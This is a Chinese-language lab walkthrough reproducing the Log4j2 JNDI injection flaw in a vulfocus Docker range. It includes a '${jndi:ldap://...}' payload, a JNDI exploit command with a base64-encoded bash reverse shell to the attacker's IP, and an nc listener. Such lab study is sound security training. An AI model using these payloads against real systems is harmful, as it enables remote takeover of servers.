log4j2复现
首先我们用到了 vulfocus靶场 我们需要在docker环境下复现
1.docker search vulfocus
2.docker pull vulfocus/vulfocus 我们下载第一个
这个样子就算成功了
3.docker images 查看镜像
4.docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.80.129 vulfocus/vulfocus 启动容器这里的ip是你虚拟机的IP 映射8081端口
成功
这里也可以看出来正在运行
5.然后访问192.168.80.129:8081 如下:
密码和用户名均为admin登录即可
6.点击镜像管理 一键同步
然后找到我们需要的镜像,点击下载
首页 启动
然后去访问对应网址
7.下来我们就开始利用了哦.
bp代理
浏览器代理(如果没有的话可以开启全局代理下面有的)
全局代理
配置如下 记得保存
8.下来我们就可以抓包 利用
因为是post的 所以我们需要post发包 payload=${jndi:ldap://w31j5m.dnslog.cn}
w31j5m.dnslog.cn这个东西 是dnslog 是我们需要前期测试的东西
百度搜索dnslog
点击get即可获取到对应的网址
9.然后我们看bp的包 并且重发
然后点击发送即可 会出现ok 此刻我们去看以下dnslog 看是否成功
点击这里我们会看到一条记录 这就是我们利用的一条记录
此时 我们就成功了 但是 我们还想去拿到shell怎么办呢
10.此刻我们需要一台攻击机(我是在ubuntu上面启动的docker 所以用kali去做攻击机 此利用方式需要java环境 正好kali有环境)
然后执行此条命令即可利用(这个jar包我就放到群里面了需要的自取)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
-A
"192.168.80.128"
然后灰色部分是下面那一块的base64加密内容 我们的命令里面必须使用base64加密 192.168.80.128 是我的 攻击机的ip 看官可以改成自己攻击机IP 9999是监听端口
11.如图说明我们这条命令执行成功
因为我们是SpringBoot框架 所以我们需要使用此处的exp
同时我们nc -lvp 9999监听9999端口
如图
下来我们就要利用此exp拿shell了
找到前面抓到的包
红框处为前面我们提到的exp,点击go(如果没反应 看一下 是不是 环境过期了)
此时我们就成功了
然后去看监听的端口
发现已经拿到shell
就此 我们已经成功了。希望各位同学仔细复现,如果找安全方面的工作 这个复现是必须品。